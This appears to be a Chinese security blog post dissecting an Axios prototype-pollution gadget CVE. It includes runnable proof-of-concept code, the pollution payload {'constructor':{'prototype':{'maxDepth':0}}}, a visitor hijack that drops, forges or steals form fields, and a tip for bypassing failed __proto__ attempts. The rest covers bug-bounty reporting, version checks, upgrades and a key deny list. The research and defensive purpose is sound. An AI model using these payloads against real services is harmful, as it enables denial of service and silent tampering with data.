CVE-2026-101909 深度解析:Axios 不是漏洞入口,而是原型污染的「放大器」
原创
钟智强
钟智强
哪吒网络安全
2026年9月29日 22:42
马来西亚
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
很多人看到这个 CVE 的第一反应是:「Burp 里改一下 Axios 的 maxDepth 就能打」。
这个理解是错的。本文用可运行的本地 POC + 真实源码 diff,把「污染源」和「Gadget」这两件事彻底拆开。
写在前面
CVE-2026-101909 在传播过程中被简化得太厉害了,出现了大量失真表述:
·错误说法:「Axios 存在 RCE」
·错误说法:「Burp 改个参数就能控制 Axios 序列化」
·错误说法:「6 个属性都能被污染」
这些说法里,只有最后一条「部分正确」。本文所有结论均来自本地实测(Node.js v20 + axios 1.19.0 / 1.20.0 双版本对照),不是纸上推演。
先校正版本信息:
| 项目 | 内容 |
| 漏洞名称 | Prototype Pollution Gadget in axios toFormData Options |
| 受影响区间 | >= 0.28.0 < 0.34.0 以及 >= 1.15.1 < 1.20.0 |
| 修复版本 | 0.34.0 与 1.20.0 |
| 漏洞类型 | Prototype Pollution \\Gadget\\(非独立入口) |
01 一句话结论
Axios 在这里不产生污染,它只「消费」污染。
攻击者
│
▼
另一处漏洞(unsafe merge / 递归赋值 / 危险 parser) ← 污染源,与 Axios 无关
│
▼
Object.prototype 被写入 maxDepth / visitor / Blob
│
▼
Axios toFormData() 执行时,options = {} 也会沿原型链读到这些值
│
▼
序列化行为被劫持 → 500 / DoS / 字段被静默丢弃或篡改
关键在于:如果目标不存在 prototype-pollution 的入口,光是有个 [email protected],什么都打不成。
02 原型链:理解一切的前提
先把 Axios 放一边。
const options = {};
Object.prototype.maxDepth = 0;
Object.hasOwn(options, \"maxDepth\"); // false ← 自身确实没有
options.maxDepth; // 0 ← 但就是读到了
这两行结果同时成立,就是原型链查找:
options 自身是空对象,JS 在它身上找不到 maxDepth,就自动沿原型链向上找到 Object.prototype.maxDepth。
这就是 CVE 的全部基础——也是为什么 axios.toFormData(data, form, {}) 传一个空对象进去,照样会被劫持。
03 根因:两个版本,同一处逻辑,两种写法
我把 axios 1.19.0 和 1.20.0 都装上,直接 diff 了 lib/helpers/toFormData.js。修复手法极其干净:
1.19.0(受影响)
options = utils.toFlatObject(
options,
{
metaTokens: true,
dots: false,
indexes: false, // ← 注意:默认值对象里只有这三个键
},
false,
function defined(option, source) {
return !utils.isUndefined(source[option]);
}
);
const metaTokens = options.metaTokens;
const visitor = options.visitor || defaultVisitor;
const dots = options.dots;
const indexes = options.indexes;
const \_Blob = options.Blob || (typeof Blob !== 'undefined' && Blob);
const maxDepth = options.maxDepth === undefined
? DEFAULT\_FORM\_DATA\_MAX\_DEPTH
: options.maxDepth;
1.20.0(已修复)
const option = (name, fallback) => {
const value = utils.getSafeProp(options, name);
return utils.isUndefined(value) ? fallback : value;
};
const metaTokens = option('metaTokens', true);
const visitor = option('visitor') || defaultVisitor;
const dots = option('dots', false);
const indexes = option('indexes', false);
const \_Blob = option('Blob') || (typeof Blob !== 'undefined' && Blob);
const maxDepth = option('maxDepth', DEFAULT\_FORM\_DATA\_MAX\_DEPTH);
而 getSafeProp 的实现是:
const getSafeProp = (obj, prop) =>
obj != null && hasOwnInPrototypeChain(obj, prop) ? obj[prop] : undefined;
hasOwnInPrototypeChain 会沿原型链逐个检查 hasOwnProperty,但一旦越过 Object.prototype 这个边界就停止。于是「只从 Object.prototype 继承来的属性」一律被视为 undefined,污染值再也无法被读到。
这里有个绝大多数文章都没讲透的点
toFlatObject 的第一个参数是用户传入的 options,第二个参数是默认值对象。合并后返回的 options 里,metaTokens / dots / indexes一定存在(被默认值兜底了),而 maxDepth / visitor / Blob不一定存在。
后果是:
·options.dots → 命中默认值 false,继承值被遮蔽,污染无效
·options.maxDepth → 自身没有、默认值也没有 → 只能沿原型链找 → 污染命中
这不是玄学,是默认值对象里有没有那个键决定的。
04 实测:6 个属性里,只有 3 个真能被打到
我对公开描述中提到的 6 个属性逐个做了对照实验(代码见文末 POC 的 EXP-3),结果如下:
| option | 默认值兜底 | 可继承污染 | 实测效果 | 利用门槛 |
maxDepth |
无 | 是 | 抛 AxiosError,请求 500 / DoS |
\\低(标量即可)\\ |
visitor |
无 | 是 | 字段被静默丢弃或篡改 | 高(需函数注入) |
Blob |
无 | 是 | Blob 构造器被替换 | 高(需函数注入) |
dots |
false |
否 | 无任何变化 | 不适用 |
indexes |
false |
否 | 无任何变化 | 不适用 |
metaTokens |
true |
否 | 无任何变化 | 不适用 |
所以「6 个属性都能被污染」是常见误解。 真正可利用的是 3 个,而其中只有 maxDepth 是低门槛——因为它只需要一个标量值,而 visitor 和 Blob 需要攻击者具备函数注入能力(JSON 本身无法传递函数,你得先有更强的 primitive)。
05 本地 POC:一步步跑通
环境
mkdir axios-cve-lab && cd axios-cve-lab
npm init -y
npm install [email protected] # 落在 >=1.15.1 <1.20.0 受影响区间
建议同时准备修复版做对照:
npm install [email protected] --prefix ./node\_modules\_fixed
EXP-1 最小验证:没有的属性,就是能读到
Object.prototype.maxDepth = 0;
const options = {};
console.log(Object.hasOwn(options, \"maxDepth\")); // false ← 自身没有
console.log(options.maxDepth); // 0 ← 却读到了
EXP-2 Gadget 触发:传空对象照样炸
const axios = require(\"axios\");
const data = { username: \"alice\", profile: { role: \"user\" } };
const fd = new FormData();
axios.toFormData(data, fd, {}); // ← 第三个参数是空对象
实测输出:
before : OK [[\"username\",\"alice\"],[\"profile[role]\",\"user\"]]
after : THROW AxiosError: Object is too deeply nested (1 levels). Max depth: 0
注意这里的关键细节:第三个参数 {} 里什么都没写,攻击者的输入完全是 Object.prototype 上的。这就是 gadget 的定义。
maxDepth = 0 意味着「不允许任何一层嵌套」,throwIfMaxDepthExceeded 被触发,直接抛 AxiosError。在真实业务里,这个异常会顺着上传/表单提交链路往上冒,表现为 HTTP 500——这就是它的现实影响:拒绝服务 / 功能中断。
EXP-3 全属性矩阵
见文末 poc.js 的 EXP-3,逐个污染、逐个比对序列化结果,输出上表。
EXP-4 visitor:最阴的一种,不抛异常
visitor 是遍历每个字段时的回调函数。1.19.0 的调用逻辑是:
const result = !(utils.isUndefined(el) || el === null) &&
visitor.call(formData, el, key, path, exposedHelpers);
if (result === true) {
build(el, path ? path.concat(key) : [key], depth + 1);
}
默认 visitor 负责 formData.append(...)。一旦 visitor 被攻击者顶替,append 就不会再发生。实测三种效果:
// B1 静默丢弃全部字段 —— 请求体被清空,服务端收到合法空表单
OK []
// B2 篡改并注入字段 —— 攻击者凭空写入任意 key/value
OK [[\"username\",\"pwned\"],[\"injected\_by\_attacker\",\"pwned\"]]
// B3 代理默认 visitor —— 完整遍历并窃取全量字段(this 就是 FormData)
OK [[\"username\",\"alice\"],[\"profile[role]\",\"user\"],[\"profile[vip]\",\"false\"]]
窃取到的字段: [[\"username\",\"alice\"],[\"profile.role\",\"user\"],[\"profile.vip\",false]]
B1 和 B2 都不抛异常、不改状态码,日志里什么异常都没有,只是数据悄悄变了——这类问题在真实系统里极难被察觉。
不过要冷静:visitor 是个函数,JSON 里没法直接传函数。要走通这条路径,攻击者需要更强的 primitive(比如能控制对象属性的 merge 允许函数值、或存在其他代码注入)。所以它属于「高门槛」,别在报告里把它和 maxDepth 混为一谈。
EXP-5 Blob 构造器劫持
let hits = 0;
Object.prototype.Blob = function (parts) { hits++; return { tag: \"HIJACKED\" }; };
// before : OK [[\"buf\",{}]]
// after : OK [[\"buf\",\"[object Object]\"]]
// 攻击者构造器被调用次数 = 1
注意:只有数据里存在 ArrayBuffer / TypedArray 时才会走到 new \_Blob([value]) 分支。我第一次用 new Blob() 测的时候「看起来没效果」,是数据选错了——这也是容易误判的地方。
EXP-6 双版本对照
axios 1.19.0(受影响) 污染后: THROW AxiosError: Object is too deeply nested (1 levels). Max depth: 0
axios 1.20.0(已修复) 污染后: OK [[\"username\",\"alice\"],[\"profile[role]\",\"user\"]]
同样的污染、同样的代码,1.20.0 完全免疫。
06 端到端复现:两个请求,中间不传任何参数
本地 POC 只证明了「Axios 会吃污染值」。真实场景要证明的是:一次恶意请求,能影响后续所有请求。
我用 Node 内置 http 起了一个服务(完整代码见 e2e.js):
·POST /api/preferences —— 一个存在原型污染的配置保存接口(脆弱的递归 merge,与 Axios 无关)
·POST /api/upload —— 一个完全正常的上传接口,内部调用 axios.toFormData()
实测输出:
STEP 0 基线:正常上传
-> {\"status\":200,\"fields\":[[\"username\",\"alice\"],[\"profile[role]\",\"user\"]]}
STEP 1a 攻击者提交 {\"\\_proto\\_\":{\"maxDepth\":0}}
[server] Object.prototype.maxDepth = undefined (未污染成功)
-> 随后正常上传: {\"status\":200,...}
STEP 1b 改用 {\"constructor\":{\"prototype\":{\"maxDepth\":0}}}
[server] Object.prototype.maxDepth = 0 (污染成功)
STEP 2 受害者发起完全正常的业务请求(请求体里没有任何攻击参数)
-> HTTP 500 {\"error\":\"Object is too deeply nested (1 levels). Max depth: 0\"}
附赠一个高频坑点
{\"\\_\\_proto\\_\\_\": {...}} 在多数 merge 实现下根本不生效。
原因:merge 里读 source[\"\\_proto\\_\"] 时,拿到的是对象的真实原型(Object.prototype),而不是 JSON 里那个键的值,递归合并自然什么也没写成。
真正稳的路径是:
{ \"constructor\": { \"prototype\": { \"maxDepth\": 0 } } }
target.constructor 指向 Object 函数,.prototype 就是 Object.prototype,赋值直接落地。
大量 POC 死在这一步,然后被误判为「漏洞不存在」。 你在 Burp 里试的时候,如果 \\_proto\\_ 没反应,别急着下结论,换 constructor.prototype 再试一次。
07 影响评估:这不是 RCE
必须说清楚,否则报告会被打回:
| 断言 | 是否成立 | 说明 |
| [email protected] 是脆弱依赖 | 成立 | 版本落在受影响区间 |
| 目标因此可被 RCE | 不成立 | 需要同进程内存在 PP primitive,且 RCE 还需额外条件 |
| 可被 DoS / 功能中断 | 成立 | maxDepth 触发异常,实测 HTTP 500 |
| 数据可被静默篡改 | 条件成立 | 需 visitor 函数注入能力 |
正确的表述应该是:
目标使用受影响版本的 axios,且应用中存在独立的 prototype-pollution 入口;两者组合后,攻击者可通过跨请求污染 Object.prototype,使 axios.toFormData() 读取被污染的 option,导致序列化异常(500)或字段被静默丢弃/篡改。
把「依赖脆弱」和「目标可利用」分开写,报告的通过率会高很多。
08 自查手册
1. 确认实际安装版本
npm ls axios
不要只看 package.json。package.json → package-lock.json → 实际安装版本,这三者可能不一致,以 npm ls 为准。
2. Axios 是间接依赖时
npm why axios
输出会告诉你到底是谁把它带进来的:
my-app
└─┬ some-package
如果你的 package.json 里根本没有 axios,但 npm ls 能查到,说明它在依赖树的深处——这种情况最容易漏。
3. 找 sink(代码里到底有没有用到)
grep -R \"toFormData\" .
grep -R \"formSerializer\" .
grep -R \"FormData\" .
没有 sink 就没有 gadget。 即使版本受影响,如果代码里从不调用 toFormData(),这条链就是断的——这一点在写报告前一定要确认。
09 Bug Bounty 实战:怎么找、怎么写
要找的是「两个东西的交叉」
Target
│
├── A. Prototype Pollution Primitive ── JSON parser / 递归 merge / 配置合并 / query parser
│
└── B. Axios Gadget ────────────────── toFormData() 调用点
│
└── 两者都存在,才构成完整链条
单独报「axios 1.19.0」几乎没有价值。厂商大概率回复「已知依赖风险,非可利用漏洞」。
报告模板(可直接套用)
标题:Prototype pollution in /api/preferences leads to DoS via axios
toFormData() gadget (axios 1.19.0, CVE-2026-101909)
影响版本:axios 1.19.0(>=1.15.1 <1.20.0 区间)
前置条件:/api/preferences 存在递归 merge,可污染 Object.prototype
复现步骤:
1. POST /api/preferences {\"constructor\":{\"prototype\":{\"maxDepth\":0}}}
2. POST /api/upload (请求体为空,无任何攻击参数)
3. 观察:HTTP 500,服务端异常 Object is too deeply nested
影响:跨请求拒绝服务;上传/表单提交功能全局不可用
修复建议:升级 axios 至 1.20.0,并修复 /api/preferences 的 merge 逻辑
常见被打回的原因
1.只报版本,不报 primitive —— 缺少可复现的污染入口
2.声称 RCE —— 超出实际影响,可信度直接归零
3.POC 用了 \\_\\_proto\\_\\_ —— 自己复现失败,还以为漏洞不存在
4.没证明跨请求 —— 必须展示「两个独立请求」的完整链条
10 修复与缓解
首选:升级
npm install [email protected] # 1.x 线
npm install [email protected] # 0.x 线
npm ls axios # 确认生效
暂时升不了级时
治本还是要堵住污染源,gadget 只是放大器:
·给递归 merge 加 \\_proto\\_ / constructor / prototype 黑名单
·用 Object.create(null) 承载不可信的合并结果
·对不可信输入用 JSON.parse(s, reviver) 过滤危险键
·合并前校验 Object.hasOwn(target, key)
·Node 可考虑以 --frozen-intrinsics 启动(需评估兼容性)
11 FAQ:几个高频误解
Q:Burp 里直接改成 isAdmin=true 是不是这个 CVE?
不是。那是通用 prototype pollution 造成的权限绕过,走的是应用自己的权限判断逻辑。CVE-2026-101909 特指污染值被 Axios 的 toFormData() 消费这一条路径。两者是「污染源」和「 Gadget」的关系。
Q:Object.prototype.isAdmin = false 然后污染成 true 能绕过权限吗?
能,但那是应用逻辑的问题,跟 Axios 无关。别把它写进这个 CVE 的报告里。
Q:我只看到 axios 版本受影响,能报吗?
能报「脆弱依赖」,但别声称可利用。真正有价值的是找到 primitive + gadget 的完整链条。
Q:visitor 被污染是不是就能执行任意代码?
需要函数注入能力,门槛远高于 maxDepth。JSON 无法传递函数,你得先证明目标存在允许写入函数值的 primitive。
12 一图流总结
ATTACKER
│
▼
Prototype Pollution(另一处漏洞,非 Axios)
│
▼
┌─────────────────────────┐
│ Object.prototype │
│ maxDepth / visitor / Blob ← 只有这 3 个无默认值兜底
└───────────┬─────────────┘
│ prototype lookup
▼
┌─────────────────────────┐
│ Axios toFormData() │
│ 读取 inherited option │
└───────────┬─────────────┘
▼
500 / DoS / 字段被静默丢弃
记住这句话就够了: 这个 CVE 的核心不是「Burp 直接改了 Axios 的参数」,而是「Burp 触发另一处污染 → 污染 Object.prototype → Axios 在正常运行时经原型链读到了这个值」。
附:POC 文件说明
| 文件 | 用途 |
poc.js |
6 组本地实验:继承验证 / maxDepth / 全属性矩阵 / visitor 三效果 / Blob / 双版本对照 |
e2e.js |
端到端两阶段 HTTP 复现,含 \\_\\_proto\\_\\_ 与 constructor.prototype 对比 |
npm install [email protected]
node poc.js
node e2e.js
本文所有输出均为本地实测结果(Node.js v20.19.5,axios 1.19.0 与 1.20.0 双版本对照)。版本区间与官方定名以 Axios 官方安全公告为准。
\如果你也在挖这条链,欢迎把你的实测结果贴在评论区——尤其是哪些 merge 实现对 \\_proto\\_ 有效、哪些必须走 constructor.prototype,这块值得单独攒一份清单。\
加入我们团队。以下是群聊二维码:
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论